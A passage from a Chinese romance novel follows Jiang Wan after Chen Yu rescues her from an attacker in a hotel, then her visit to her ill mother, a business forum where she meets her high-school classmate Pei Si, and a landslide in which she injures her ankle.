恍惚间,身上的重量减轻,眼睛上的东西也被摘了下来,直到有个熟悉的声音在她耳边一遍遍重复:“姜挽!姜挽!” …… 她这才敢睁开眼睛,是陈屿。 心跳乱得没办法呼吸。 是他,他来了,他真的来了。 “你来了。”一开口,绷紧的那根弦突然断裂,眼泪落了下来。 从脸颊滑落,滴在陈屿的手心,陈屿愕然。 灼热,滚烫,还有锥心的痛意。自重逢以来,他第一次见她这种表情,他只恨自己出现的太晚。 沉默了片刻,他一把将姜挽打横抱起,边朝外走边吩咐:“不管你们用什么办法,把刚才那个人给我抓住。” 听他这样说,姜挽这才注意到,此时她的房间里除了陈屿之外,还有一大堆酒店的工作人员。或紧张,或好奇,或惶恐,他们会怎么想,又会怎么看,她这会儿已经完全没力气去注意了。 她能感觉到陈屿抱着她走得很快,开门,进屋,关门,随即她被放在一张大床上。 “这是哪里?”脑袋还有些晕,声音也有些抖,视线里,这间房的装修和她的那间不大一样。 “我的房间。”陈屿的声音也有些抖,回想起刚才进屋看到的那一幕,他想杀人的心都有了。 “你的房间?” “嗯,你先在这里休息。”看着她濡湿的眼睫和微红的鼻头,陈屿完全没办法冷静,只能强迫自己去做点其他的事情来转移注意力。 转身,他去给她倒水,“先喝点水。” 姜挽安静接过,小口喝着。 喝完水,陈屿把水杯放回去,再次和她要求:“袖子撩起来,我看看你有没有受伤。” 可能是因为刚才被吓坏了,姜挽这会儿很乖,全程配合,陈屿说什么她都照做。 胳膊,脸颊,小腿,还有脚踝,所有裸露在外面的地方,陈屿都仔细检查了一遍,还好没什么大碍:“身上还有没有其他地方不舒服?” 他问得很委婉,生怕说出什么不合适的话再次刺激到她。刚才进门时看到的场景,他根本不敢回想,更不敢想象他要是再晚一点出现,会发生什么事情。 “没有,”姜挽摇头,冷静了这么会儿,她已经恢复了一些,“谢谢你刚才出现的那么及时。” 及时吗?陈屿却并不这么认为。 他应该一早就注意到那个人的,应该在事情发生前就其扼杀在摇篮里的,可他却没做到,而且还让这种事情在他眼皮子底下发生了。 有什么嘀嗒落在地上,陈屿没在意,倒是姜挽发现了,鲜红的,温热的,是从他小臂处流下来的,是血! 姜挽立马从床上起身,拉过他的手臂要看,“你受伤了?” 陈屿却侧身,有点躲着她的意思:“没事。” 应该是刚才和那人搏斗时受伤的,他是第一个冲进去的,自然也就会第一个暴露在危险之下。 “去医院吧。”姜挽很担心。 陈屿却不想折腾,伤口不深,稍微包扎一下就行了。他转身去客厅,找到医药箱后,从里面拿出消毒工具,就打算自己包扎。 意识到他打算做什么后,姜挽很吃惊:“你打算自己弄?” 陈屿已经开始消毒了,动作很随意:“嗯。” “不然还是去医院吧?”姜挽还是不放心。 说这话时,她语气放得很轻,甚至还有些小心翼翼的,主要是不确定他会不会把她的这些话划分为多管闲事。 哪知,陈屿却没说什么,除了脸色有些不佳外,语气甚至可以用温柔来形容:“没事,不用去。” 是他的回应,给了姜挽鼓励:“那不然,我来帮你处理吧?” 陈屿的动作顿住,棉签还拿在手里,片刻,他抬起头来,递给姜挽:“也好。” 姜挽第一次做这种事,全程都格外小心,眉头拧着,一张小脸严肃又担忧:“要是疼,你就和我说。” “嗯。”虽这样说,可陈屿全程却一声没吭。 他垂着眼,看她在他手臂处忙碌,有风吹过,她的头发被轻轻撩起,几缕蹭在他的指尖,痒痒的,麻麻的,从指尖处一直连接到心脏。 或许是因为夜色,也或许是因为刚才的事情对他造成的冲击太大,陈屿迫切地想要抓住点东西来填补自己此刻焦躁的,不安的内心。 “你刚才,为什么会给我打电话?”一不小心,他脱口而出。 果然,姜挽愣了一下,手上的动作也跟着暂停:“我遇到危险了。” 他当然知道她遇到危险了,他想问的不是这个。 “为什么是我?”他追问。 明明她可以有其他的选择,警察,前台,甚至是其他同事,她却偏偏联系了他。 他可以幻想吗?有资格幻想吗? 姜挽抿了抿唇角,没回答。 “为什么?”陈屿却不断追问,执着地想知道一个答案。 他越追问,姜挽就越心虚,他是担心她会给他带来麻烦,会影响GSC的声誉吗? 情急之下,她快速给伤口做了包扎,胡乱想了一个理由:“当时情况紧急,我来不及多想,是随便翻的联系人名单,我不是有意的。” 陈屿看着她,神色哀伤,没再追问。 眼底的希冀一瞬间灭了,他拒绝了她要继续给他做检查的动作,起身来到书房。 姜挽跟过来,急切解释:“真的,你相信我,我绝对没有要影响你,影响GSC声誉的意思。” “我相信你。”陈屿背对着她,开始收拾电脑。 见他这样,姜挽以为他是在下逐客令,毕竟事情也解决了,她也该回自己房间了。 将医药箱收拾好,放回原位,她打算离开:“那你好好休息,我先回房间了。” 那个房间,陈屿是绝对不会再让她回去了:“你不用走,你今晚就睡在这里。” 姜挽茫然:“可这是你的房间。” “嗯,”收拾完书房的东西,陈屿又来到卧室收拾衣服,“我再开一间。” “这样会不会太麻烦了?” “不会。” 他很温柔,和以往任何一次和她待在一起的时候都不一样,除了同情,对她刚才遭遇的同情,姜挽想不到其他的理由。 夜深了,她也不想再多折腾,更不想影响到他,正打算同意,突然想起来还有工作没做完,小声开口:“可我还有翻译没做完,怎么办?” 都这个时候了,她竟然还能想到这些,陈屿拧眉:“一定得今天做?” 姜挽看着他,虽然很不好意思,可还是点了点头:“很着急,必须今天做完。” 陈屿叹一口气:“你待在这儿,我一会儿安排人给你送过来。” 处理好姜挽的事情,陈屿又开了一间房,就在她隔壁。一进门,便紧急安排了会议,调动了他在宁城的所有资源。 刚才没问姜挽太多细节,是因为担心她有阴影,可并不代表他就不在意。关于那个人的,关于这件事的,一点一滴他都要知道得清清楚楚。 他手下的人办事很快,不过几个小时,凌晨四点多的时候就传来了消息,人贩在逃离宁城的路上被抓捕,现在正被关在宁城的看守所里。 “陈总,人您打算怎么处置?”电话里的人恭敬开口。 陈屿将手中的烟蒂捻灭,起身来到窗前。他一晚上没睡,眼眸沉沉:“按法律办事,但我要他一辈子后悔刚才做的事情。” “明白。” 第二天他们如期回北城,昨晚发生的事情其他人并不知道,所以一路都还在讨论这次的项目事情。 姜挽没参与,周海注意到她的沉默,开口询问:“Annie,你没事吧,怎么一直不见你说话呢?” 姜挽正打算开口,陈屿突然出声:“我不太舒服,你们安静点。” 他原本一直都是闭目养神的,这会儿突然开口,还是以这种不怎么高兴的语气,大家顿时面面相觑,噤了声。 可陈屿似乎还没完,他转而朝向司机:“回去换一条路,我受不了颠簸。” “好的,我现在就换。”前排司机立马应声,当即便切换了路线。 他不舒服?姜挽有些担心,正猜测他是因为什么不舒服时,手机突然响,她拿起来看,是两条微信进来,都是陈屿发的。 【事情已经处理好了,放心。】 【胃不舒服就多休息。】 他说处理好了,就一定是处理好了。只不过这样大的事情,短短几个小时之内就处理好了,姜挽不敢想象这中间究竟占用了他多少的精力和资源。 姜挽默默看着这两句话,实在不知该说些什么来表达自己的感谢,思来想去,也就只有最普通的那句:【谢谢。】 发出去,还是觉得太轻了:【有没有什么我能帮你做的?】 【没有。】 陈屿回的很快,姜挽抬头看他,五官出众,气质卓然,再加上早已功成名就,这样看下来,好像确实没有什么是她能帮他做的。 不过她还是补了一句:【那以后要是有什么我能帮忙的地方,你尽管开口。】 陈屿还算配合:【嗯,先记着。】 第64章 沈曼 回北城后, 姜挽去看了沈曼,天冷了,她买了几件新衣服给她送过去。 沈曼如今住在郊区的精神康复中心,距姜挽住的地方有好几十公里。所以这一趟过去, 再加上买衣服的时间, 总共花了好几个小时, 等姜挽到的时候已经中午了。 沈曼正在吃饭, 正午的阳光透过窗户落进来, 照在她的脸上和身上, 衬得她姿势优雅,气质脱俗。即便年纪大了,她的风姿仍旧不减, 像一朵经久的玫瑰, 岁月沉淀下来的只有芬芳和韵味。 可姜挽知道, 眼前的场景只是一时的, 短暂的,只有在沈曼情绪正常的时候才会如此。更多的时候, 她会发呆, 生活没办法自理,还会像之前一样吵闹着给她打电话。而造成这一切的根源, 就是因为之前的那件事, 那件她一直都不愿意回想的事情。 轻呼一口气,敲了下房门, 姜挽提着手中买好的衣服, 走进去:“妈,我来看你了。” 沈曼闻声转头,只不过神情有些迷茫, 见她这样,姜挽便知她又不记得她了。自从生病后,沈曼便经常会如此,病情时好时坏,对姜挽也是经常不记得。 说不难受是假的,只不过当前这种局面,姜挽根本没时间去想这些,她把衣服放在床头,又来到沈曼身边,轻声开口:“是不是又不记得我了?我是呦呦呀,我来看你了。” “呦呦……”沈曼重复她的话,喃喃自语,“这个名字好熟悉,可我就是想不起来,而且我看你感觉也好熟悉。” “没关系的,”姜挽接过她手中的汤匙,舀一口汤喂她,安慰道,“不着急,以后会想起来的。” “嗯,”沈曼点头,喝完要求道,“再舀一勺。” “好。”姜挽就这么耐心舀着,一直到她把这碗汤喝完,期间还穿插着问了她一些最近的情况。 吃完饭,姜挽又把新买的衣服拿出来,一件件陪着她试。 沈曼很高兴,来回试穿和搭配,虽然她的精神状态不太好,可审美还是在线的,每套衣服搭配出来都很好看,特别是穿在她身上,就更出挑了。 只不过姜挽买的多,她的选择也就多,一时间拿不定主意,来来回回对着镜子试了好几遍。 姜挽见她这样,很是感慨。她如今想法很简单,能够陪在沈曼身边,把她照顾好就够了,其他的,她不敢奢求太多。 其实前几年,也就是姜挽在港城的那几年,沈曼是不在北城的,她在江城。也就是今年,姜挽回北城后,才把她接了过来。 一来是姜挽涨了工资,能够负担起北城这边的康复中心了。二来,她也希望两个人能离得近一点,毕竟在奶奶去世后,她已经没有其他的亲人了。 沈曼还在试衣服,几番抉择,她最终选择了墨绿色的那件大衣,版型挺括,面料垂顺。在镜子前照完了,她又询问姜挽的意见:“好看吗?” 单纯,直接,像一个不谙世事的孩童,这一刻,角色的调换,让姜挽恍惚回到了少年时,她也是这样问沈曼的。 “好看,”姜挽把袋子里的帽子拿出来,帮沈曼戴上,“配上这个帽子更好看。” 沈曼对着镜子调整好帽子的角度,忍不住夸赞:“你眼光不错,和我一样。” 姜挽笑了:“是啊,我是你的女儿当然像你了。” 沈曼转头看她:“你刚才说你叫什么?” “呦呦。” “大名呢?” “姜挽,有印象吗?” 沈曼摇头,有些为难:“没有。” 姜挽安慰她:“没关系,等我后面工资涨了,就给你换更好的康复中心,一定能治好你,你也一定能想起来的。” 听到要换地方,沈曼有些不高兴:“为什么要换地方?我不换。”她现在就像个小孩子,任性又直接,“我住在这里挺好的,环境和饭菜都很喜欢,我不换。” 难得听她说喜欢这里,姜挽立马改口:“好好,你要是喜欢的话那我们就不换。” 沈曼笑了,重复她的话:“不换。” 吃完午饭,沈曼有午睡的习惯,她睡觉的时候,姜挽就在旁边看书,等她醒来了,又陪着她一起去室外走走。 但是和上午比,沈曼明显更迷糊了,对姜挽一点印象也没有了。不仅如此,她的精神状态也不好,一直困恹恹的,不是发呆就是走神。 “要回去吗?”见她难受,姜挽便提出想带她回去。 可沈曼却不想,许是知道回去后姜挽就会走了,她强撑着精神:“陪我去旁边的凳子上坐一会儿吧。” 初冬的时节,凳子上落一层树叶,姜挽把树叶拿掉,又细心擦干净,才让她坐。她们真的难得有这样平淡的相处时光。 不远处有一对情侣,看起来和姜挽差不多大,男生很温柔,一边喂女生吃饭,一边帮她整理头发,沈曼盯着看了会儿,突然问:“你有男朋友吗?” 姜挽老实回答:“没有。” “是该找一个了。” “没有遇到合适的。” 一阵寒风,姜挽伸手帮她把领口紧了紧,她本以为这话题到这里就结束了,没想到沈曼再次开口:“那你有喜欢的人吗?” 这次,姜挽没回答,安静地沉默着,从她这沉默里,沈曼推断出来:“看来是有,为什么没在一起呢?” 还是绕到这里了,姜挽叹一口气:“可能是因为,没有缘分吧。” “没有缘分……”沈曼思考着这几个字,像显然她不大能理解,于是干脆直接问,“那你们现在还有联系吗?” “有,我现在就在他公司上班,”自从沈曼生病后,姜挽有什么事情反而不瞒着她了,“他叫陈屿,妈妈你以前也认识他的,还有印象吗?” 果不其然,沈曼面露苦色,没有任何犹豫地再次摇头。 “没关系,”姜挽忙安慰她,“时间太久了,没有印象也正常。” 沈曼接她的话:“那以后有机会,你一定带他来见我,我帮你把把关。” 姜挽也没想到,有一天她和陈屿的关系能如此平和地从她妈妈口中说出来,时光荏苒,光阴飞逝,果然什么都会改变。只是以目前的情形来看,她以后大概率是没有这个机会来做这件事的。 又来一阵寒风,她们真的该回去了:“我们得回房间了,你喜欢散步的话,我以后再陪你来。” 沈曼虽不舍,可也没再说什么,点点头,还是和姜挽一起沿着来时的路回去了。 因为风大,她们回去的路上走得很慢,也正是因为速度慢,才让姜挽有了时间注意到周围的环境,从起身开始,她就觉得一路似乎都有人跟着她们。 转角的时候,她故意走快两步,随即快速回头,果然一转眼便看见一个戴口罩的男人,和她四目相对,男人慌忙避开视线,而后快步离开。 沈曼注意到她的动作,有些疑惑:“怎么了?” “没事,”姜挽怕她担心,没说什么,但介于之前在宁城的遭遇,让她不得不多个心眼,于是和沈曼交代,“现在天冷了,你晚上尽量不要出门,要是有什么需要的,或者遇到什么问题,一定记得第一时间联系我。” 这话,她每次来都说,沈曼已经记得很清楚了,她反倒有些担心她:“放心吧,这些我都记住了,反而是你,在外面要照顾好自己,有时间的话,记得把那个陈屿带来我看看。” 姜挽刚打算随便说两句糊弄过去,手机铃声突然响,她看一眼,瞬间愣住。刚才出现在她妈妈口中的名字此刻竟然出现在了屏幕上,还真是巧合。 因为沈曼在旁边,姜挽没有立即接通电话,一来她是担心沈曼听到后会问一些她无法回答的问题,二来她也不想陈屿知道她在这里。 殊不知,正是因为这个行为,无意中又把电话那头的陈屿惹怒了。 陈屿之所以会给她打这通电话,主要还是想着在宁城发生的那件事,担心她留下后遗症什么的,于是便想打电话问一问。 可他又没有合适的理由联系她,于是单是编理由这一项,就花费了他不少时间。谁知道这电话拨出去,她根本没接,别提他这会儿有多烦躁了。 至于她为什么没接,无非就是不方便,为什么不方便,她又和谁在一起,陈屿根本不敢多想,甚至于他担心的事情也可能早已经有人安慰她了…… 一想到这些,他就觉得自己像一个笑话。 将沈曼送回房间后,姜挽才拿起手机,翻到刚才的通话记录,给陈屿拨了过去。 一声,两声……就在她以为电话不会接通时,听筒里却突然传来了陈屿的声音,那么冷,那么淡,像冬日冻湖里的冰块,只是这么隔着电话听,整个人仿佛就被冻住了。 “喂。” “不好意思,我刚才有点事,不方便接电话,”姜挽先道歉,“你找我有什么事吗?” 刚才随便想的理由,陈屿早不记得了,他耿耿于怀的是姜挽到底因为什么不接他电话:“你在外面?” 姜挽反应了一下:“啊,对。” “一个人?” 姜挽担心他有什么事需要她立马过去,但她这会儿又实在走不开,想了想,还是回了一句:“不是。” 可她说完这句,陈屿却突然沉默了,气氛一时陷入安静,继而漠然,安静得姜挽都以为他已经挂了。 “你还在听吗?”姜挽把手机拿远了点,刚想再追问一句找她什么事,电话里再次传来陈屿的声音,是比刚才还要冷冽三分,夹杂着昭然的怒意:“所以,你刚才不接我电话也是因为身边有人?” 确实是因为这个原因,可姜挽还想解释一下:“其实……” 陈屿猛然打断她:“回答我,是或者不是。” 他这样生气,让姜挽有些不明所以,但听他的语气,今天一定是要得到这个答案了,她不想骗他,想了想,还是回了一个“是”。 话音刚落,陈屿那头就突然挂了电话,姜挽没敢再打过去,只是茫然地盯着手机屏幕,所以他打这通电话,到底是因为什么事呢? 屋内沈曼在叫她,姜挽忙关掉手机进去,很快,屋里响起说话声:“刚才谁给你打电话呢?要是忙的话,你就先回去吧。” “没事,我不忙。” “你还是回去吧,反正在这儿也没什么事。” “不着急,我晚点再走,再待一会儿。” “那行吧,刚好,你帮我看下这个软件怎么用。” “好。” …… 第65章 嫉妒 GSC楼下有两排行道树, 十一月间,树上的枝叶橙黄交错,一阵秋风,零零散散地落在脚下。在这秋意里, 在这摇曳下, 姜挽和林瑜刚吃完午饭, 正随意漫步着。 临近年底, 她们马上要进行年终总结了, 这事关系到每个人明年的工资涨幅, 所以大家都看得很重。林瑜比她早来GSC,这会儿正详细和她介绍几个关键点。 “过去的成绩,未来的计划, 还有需要提升和改进的地方, 这些都要写。” 年终总结姜挽以前也做过, 只不过和GSC的模板不同, 她边听边点头:“好,方便的时候把你去年的模板发我一下, 我参考模板写。” “没问题, ”林瑜很爽快,“对了, ”她突然又想起来什么, 提醒道,“写过去成绩的时候你可不要太老实啊, 把所有的结果都数据化, 写的越夸张越好,这样领导们才会看见,才能注意到你。” 这方法姜挽也知道, 事实不能变,但细节可以加工,职场上,这些都是通用的准则。 只不过,一提到这个,一提到领导这些,她就想到了陈屿,还有那通被他挂掉的电话。 他那天打电话到底因为什么,又想说什么,她到现在也不知道。因为,自从那天后,她和陈屿便再没联系过,也没再见过。 她不清楚陈屿的想法,但于她而言,两个字便足以概括,那便是“不敢”。不敢联系他,也不敢再打扰他,怕引起他更多的厌恶。 另一边,指尖好几次点开微信,又退出,陈屿来回摩挲着姜挽的微信头像,像是在做什么艰难的抉择,最终还是下定决心退了出来。 不是他不想联系她,也不是他不想发,只是有些事情一次次地尝试,一次次地鼓足勇气,最终换来的却只有心痛,他也是人,也是血肉之躯,自然也会怕。 突然,门外响起敲门声,是宋泽宇:“陈总,周经理找您。” 陈屿收起手机,轻轻按了按太阳穴的位置:“进。” 周海来找他,是因为近期法商会要举办商务论坛的事儿。 法商会,全称中国法国工商会,是一家非营利性社会团体,顾名思义,负责组织丰富多样的商务活动,活跃拓展中法商务圈,提供商机及商务交流平台。 据周海介绍,法商会下周三要在北城举办一场建筑论坛,届时各大中法建筑行业的公司都会出席,因为尼斯项目,GSC自然也在邀请名单之列。 陈屿听完,没什么表情:“这事你自己安排就行。” 周海眨了下眼睛,微有些愣。他有时候是真摸不准他们这位老板的心思,之前还要求他任何有关尼斯项目组的消息都必须和他汇报,现在又让他自己安排了? “那您……” 陈屿像是知道他要问什么,不等他说完,便开口打断:“我不去。” 得到了答复,周海也就没有再继续问下去的必要了,只不过有件事情,他还是需要再请示下:“陈总,据说这次商务论坛规模很大,所以我想带整个尼斯项目组的人员参加,让大家也见见世面,丰富丰富知识,您觉得怎么样?” 陈屿稍顿了一下,随即开口:“你自己决定。” 周三,姜挽和项目组的同事一起去参加法商会的商务论坛,地点在北郊的某五星级酒店,路途偏远,又因为人多,公司特意安排了一辆大巴接送。 会议论坛姜挽之前参加过不少,但像这次规模这么大的,还是第一次。一路过去,周海又给他们介绍了不少其他参加的公司和会议议程,不论从哪方面来看,这都是一个非常好的机会,所以大家都有些兴奋。 两个小时的路程,姜挽她们到时,现场刚开始签到。 身穿白色长裙的少女沿着红毯站成两排,身份验证,扫码登记,甚至还有签到完成后的礼物赠送,全程都由她们指导,整个环节顺畅又高效。 签完到,再由专门的工作人员带领她们进入会场,一路装修豪华,窗明几净,就连空气中浮起的细小尘埃里,都有一股华丽和典雅的味道。 趁等电梯的功夫,姜挽随手拍了两张照片,分别给沈繁星和尤伽发了过去,一个算是工作汇报,另一个则是单纯的分享。 姜挽原以为沈繁星会先回她,没想到先进来的却是尤伽的微信:【你也去了这个论坛?】 听她这意思,是还有她认识的其他人也来了:【怎么,还有其他人也来了?不会是你吧?】 【当然不是了,我的工作和这些八竿子打不着。】 【再说了,这么高端的场合,我去了也是浪费。】 【不过确实是有人也去了,你猜猜是谁。】 尤伽一连好几条消息过来,立马吊起了姜挽的好奇,不过她这范围太大了,姜挽根本猜不到:【这让我去哪猜?】 【猜猜看,我可以给你个提醒,这个人也是我们的高中同学。】 高中同学太多了,况且自从离开北城后,姜挽就再没和那些人联系过了,眼见着就要进入会场,姜挽没时间了:【算了,我不猜了,马上就要开会了,先不和你说了。】 【等一下,】见她着急,尤伽也不再卖关子,索性直接告诉她,【裴思啊,他也去参加这个论坛了,你还记得他吗?】 裴思…… 这两个字,瞬间就将姜挽拉回了八年前的那个雨天,她当然记得了,不仅记得这个名字,还记得当初还用这个名字骗了陈屿。 一场回忆,一段往事,还有那些隐秘的,早已被时间掩埋的情谊。 【不是吧,你真不记得了?】她半天不回答,尤伽开始追问。 【记得。】姜挽回她。 【我也是看了他的朋友圈才知道他来北城出差了,没想到去的就是你这个会,还真是巧了。】 巧不巧的,姜挽不知道,她也不怎么在意,毕竟裴思这个名字于她而言,除了高中那点不多的记忆外,也就只剩一部分当初借用他名字的愧疚了。 【马上要开会了,时间来不及了,我晚点再和你说。】她给尤伽回消息。 【……好吧】尤伽恋恋不舍地结束了对话。 她其实还有好多话想和姜挽说,想告诉她,她这次再见到裴思的照片,再和他联系上,已经和当初的感觉完全不一样了。 很奇怪,当初那种看一眼都觉得害羞,满心满眼都是他的悸动,如今已经不复存在了。而且再回想,还有一种恍如隔世的感觉。 果然,少女情怀总是诗,看什么都带着一股浪漫的滤镜。 姜挽她们这边已经按名字入座了,没过多久,会议正式开始。会议第一部分先由法商会会长做开场白介绍,然后法国驻华大使和法国大使馆总领事也分别发表了讲话,接下来便是各个企业的代表人发言,会议行程安排得很满,讲话结束便立马进入了洽谈环节。 这个环节分为两部分,一部分是圆桌会议,各公司派代表参加,就中法关系以及未来发展的方向和前景进行讨论。另一部分则是自由讨论环节,各公司,各参会人员可随意走动,自行社交。 这种场合,像姜挽这种级别的,也就只有自由讨论的时候才能发挥点主动性。来来往往间,已经收到了许多新的名片,她都仔细收好,说不准以后哪天就能派上用场。 正低头整理东西,余光突然瞥见迎面走过来一个人,姜挽抬头去看,高个子,戴眼镜,标准的平驳领单排扣西装,冲她微微一笑,举手投足间有股温文的风情。 姜挽看人家,人家也在看她,走近了,对方先开口:“我果然没看错,你和高中时变化不大。” 要是平时,有人这么和她搭讪,姜挽是一定不会搭理的,可这人看起来实在熟悉,刚又听尤伽提到了裴思,她心思一动:“你是……裴思?” 对面的人笑了:“难得你还记得,”说着,他拿出自己的名片,“我目前在东城工作,过来出差,没想到一来就遇到你,还真是巧。” 名片上写着赛林集团中国区负责人,是柔软烫金的材质。 在GSC这段时间,姜挽大概也对建筑行业有了些了解。赛林集团,老牌法企,资产雄厚,近些年来在中国的发展势头很猛。 姜挽看着名片,可能时间有些长了,听到裴思再次开口:“不给我一张你的名片吗?” 姜挽忙抽出一张,递过去:“抱歉。” “GSC,”裴思拿起来,仔细端详了会儿,“你是翻译?” “是的,不过不是GSC的翻译,我是外派过来的。” “那你们公司是哪家?” “佳译,”姜挽和他解释,“一家专门做翻译的公司,也在北城。” 裴思点头:“所以,翻译的业务,可以找你们公司?” “当然。” 两人又聊了两句,基本都是裴思问,姜挽答。没多会儿,有人来找裴思,看样子是有事儿,神色看起来有些严肃。 裴思倒没说要走,只不过姜挽觉得话题到这也该结束了,于是她主动提议:“要不你先去忙吧,我也该去找其他的同事了。” 裴思很爽快:“也好,”但在离开前,他又追问了一句:“打这名片上的电话,应该能联系到你吧?” 姜挽眨了下眼睛,不知他何意,她不认为离开了这场会议,他们还会有其他的联系。 见她这样,裴思轻笑出声:“你别担心,我不会骚扰你的,我指的是业务,翻译业务。” 姜挽有些尴尬:“当然可以,或者我也可以把我们公司业务负责人的电话给你,要是有翻译业务的话,你可以和她直接联系。” 裴思摆摆手:“不用,有你的就够了。” 他很绅士,一定要姜挽先离开,姜挽拗不过,只好道别后先转身离开。途中,她回头看过一次,见裴思还站在原来的位置没动,像是还在看着她,于是她便再次点了头,这才干脆离开。 姜挽回到座位后,周海也刚回来,他刚才接了一个电话,是陈屿打来的。 电话里,陈屿很奇怪,既不问他会议效果如何,也不问他这场会议收获了什么,值不值得,只盯着这次的参会人员追问,一定要弄清楚现场每个人的状态。 直到周海和他详细介绍了一遍每个人的情况,他这才挂断了电话。 周海有点迷茫,但他也习惯了,陈屿似乎一直以来都是如此,心思难猜,但好在工作方面从不为难他们,在他手下,只要把工作做好,其他就都好说。 自由讨论结束,今天的会议基本也就算结束了,酒店提供午餐,大家都是吃完午餐后才离开,姜挽她们也不例外。 回去的路上,可能是因为上午的会议消耗了太多精力,大家都有些昏昏欲睡。真正清醒过来,是因为司机突然的一脚刹车,车身晃动,大家由于惯性纷纷往前倾身。 “怎么了?”车内有些吵,好几个人一起开口。 在这混乱中,姜挽也坐直身体,她刚才没睡着,只眯了会儿,所以现在次思绪还算清醒。 司机指了指前方,回头,面露难色:“前面发生塌方了,路被堵了,怕是不能走了。” 说罢,他下车去检查,顺着他的方向大家去看,果然前面十几米的距离有几个大石块散落在地上,零零碎碎,恰好将他们的路堵住。 这里还属于北郊,多山路,之前就经常会在新闻报道里看到山体塌方的事故,只不过事情没发生在自己身上时,大家都不会在意,总以为自己会是那个幸运儿。可当事情真正发生的时候,却已经来不及了。 姜挽她们现在就是,甚至车上还有好几个同事根本不相信这么小概率的事情会发生在自己身上,多方验证后才不得不接受了事实。 一时间议论声,电话声,还有抱怨声同时响彻在车内。 这群人里,周海算是最大的领导,关键时候他倒是还算冷静,先安抚大家的情绪,然后和公司取得联系,第一时间寻求帮助。 GSC有专门的安全部门,面对这种紧急情况,公司内部反应很快,当即便确定了救援方案,只不过这么大的事情,还是需要得到陈屿的批准。 得知这个消息的时候,陈屿正在开会,一大群管理层参加的会议,他想都没想,当即便做了中断。 回到办公室,他和周海直接通电话:“有没有人受伤?”陈屿很着急,问出这句话的时候,他甚至感觉到自己的心在抖。 周海没想到他会直接打电话过来,一时摸不准他的想法,仔细确认后才回答:“没有。” 听到这话,陈屿这才松了一口气:“等着,我派人过去,你把现场的情况把控好,”像是不放心,他又叮嘱了一句,“尤其是女生,这种情况注意多安抚。” 挂了电话,他转而吩咐宋泽宇:“马上派直升机去接他们。” “直升机?”宋泽宇怀疑自己听错了,“陈总,这会不会有点过了?那可是您私人的。再说了,北郊离这里路途也不是很远,情况也没有到十分紧急的地步,况且……” “照我说的做。”陈屿打断他,很坚决,坚决中还带着点着急,是那种思绪被人牵着,有什么珍贵东西不在身边的张皇和不安。 宋泽宇从没见过他这样,当即便不敢再多说什么:“好,我马上去办。” 很快,陈屿安排的直升机便抵达现场,大家还是第一次碰上公司如此大手笔,有一些人更是第一次在现实中见到直升机,纷纷开始感叹。 “陈总这也太壕了吧!” “是啊,虽然遇上塌方很不幸,但有机会见识到直升机,这苦也算是没白吃。” “之前也没听说过公司有直升机啊,这直升机不会是陈总私人的吧?” “你别说,还真有可能!只是这么珍贵的私人东西都舍得借出来,看来陈总对咱们项目组还真是不错。” “陈总对咱们项目组好,又不是第一天了,之前的外卖送餐,亲自参加各种会议,还有这次同意大家全员参加论坛,这些都已经很明显了吧。只不过,有一点我不明白,尼斯度假村项目是重要,但和公司里其他项目比起来,也占不了第一位,也不知道陈总到底是因为什么才对这个项目如此关注。” “管他因为什么呢,对这个项目关注还不好吗,咱们都是这些关注的受益者呀。” “那倒是。” …… 大家边讨论边转移,一开始进行得很顺畅,只不过在剩下最后几个人的时候,前面的山体突然再次发生了塌方,虽然和他们距离很远,但因为有同事太过惊恐发生了拉扯,场面瞬间有些混乱。 姜挽就在这批人里面,也是在这个时候被推倒的。右脚踝的位置猛地撞上旁边的石块,一阵尖锐的疼痛袭来,她忍不住弯了腰。 “怎么了?没事吧?”周海就在她旁边,当即便发现了她的异常。 “没事。”姜挽摆摆手,可颤抖的声音还是出卖了她。 周海忙俯身去查看,这才注意到她捂着脚踝,但但因为冬天穿的厚,什么也看不见:“是不是扭到脚了?严重吗?要不要休息一下?” “没事,不用,”其实是严重的,姜挽能感觉到,但这会儿情况紧急,大家又都在等着她们,姜挽咬牙坚持,“先回去吧,真没事。” 时间有限,周海也就没再多问,点点头,当即和她一起上了飞机。 他是打算在飞机上再查看的,可没想到,刚准备起飞,陈屿便再次打来了电话。 “我看新闻说又发生了塌方,怎么样?现场有没有人受伤?”陈屿开门见山。 周海以为他是担心员工受伤会对公司造成影响,但看姜挽刚才那个程度,应该也不至于构成工伤,所以犹豫着开如何开口。 他越犹豫,陈屿就越心慌,毫无征兆地,突然吼了一声:“有什么情况赶紧说!” 被他这一声吓到,周海忙和他解释:“Annie的脚好像有点扭到了。” 话音落,电话那头先是一阵沉默,接着便是陈屿那一贯仿佛夹杂冰雪冷意的声音:“严不严重?” 也不知道是不是心理作用,这会儿他的声音在周海听来比以往任何一次都要更冷。 “还……还好,好像不太严重,应该不至于造成工伤,您不用……。” 陈屿懒得听他说下去,直接下达命令:“先去医院。” “那我和工作人员……” “不用,你照顾好她,我来处理。” 挂了电话,周海便把刚才和陈屿的通话内容和姜挽说了,听完后,姜挽和他的想法一样:“我真没事,不会造成工伤的,也不会给公司带来麻烦。” 在陈屿面前周海会这么说,但在姜挽面前,总觉得她还是一个小姑娘,觉得还是要以安慰为主:“你别担心,先不考虑这个,现在重要的是你的情况,我们一会儿不回公司,直接去医院。” “周经理,真不用,我自己能处理的,不用这么麻烦。” 周海也很为难:“这是陈总的意思。” 因为知道要去医院,姜挽一路都有些不安,她也不是不想去,只是一想到这么多人要陪着她一起折腾,就觉得内疚。 但这情绪也没持续太久,因为医院很快便到了。她们到的时候,陈屿已经在了,而且手续和病房也提前做了安排,姜挽就相当于是落地后直接入住。 她没想到陈屿会亲自过来,看到他的时候还有些愣,也可能是心虚吧,毕竟他一再强调让她不要影响GSC,可她还是犯了错,导致四目相对时,她一时竟不知该说些什么。 陈屿貌似也没什么和她说的,只对旁边的人吩咐道:“赶紧给她做检查。” 他这一句话,立马便有四五个人围在了姜挽身边,询问她状态的,扶她上轮椅的,还有专门在前面开路的,一路浩浩汤汤,姜挽还没反应过来是怎么回事呢,就已经被推进了病房。 在护士的帮助下,她脱了鞋袜躺在床上,脚踝处肿胀比较明显,微微伴有青紫,但还是比她预想的情况要好。 陈屿就是这个时候推门进来的,一眼扫到姜挽的脚踝,他脸色阴沉,什么都没说,立马反身出去。 看着他的背影,姜挽有些尴尬,不清楚他是被自己现在这种情况吓到了,还是实在觉得自己麻烦,以至于一秒钟都不想待。 门外,走廊,拐角,从病房出来后,陈屿一步都没停留,径直找到周海,大吼:“你不是说她脚只是扭了一下吗,你看看都肿成什么样了,你们干什么吃的?” 周海被他吼得一愣,半天接不上话。 “陈总,抱歉我……” 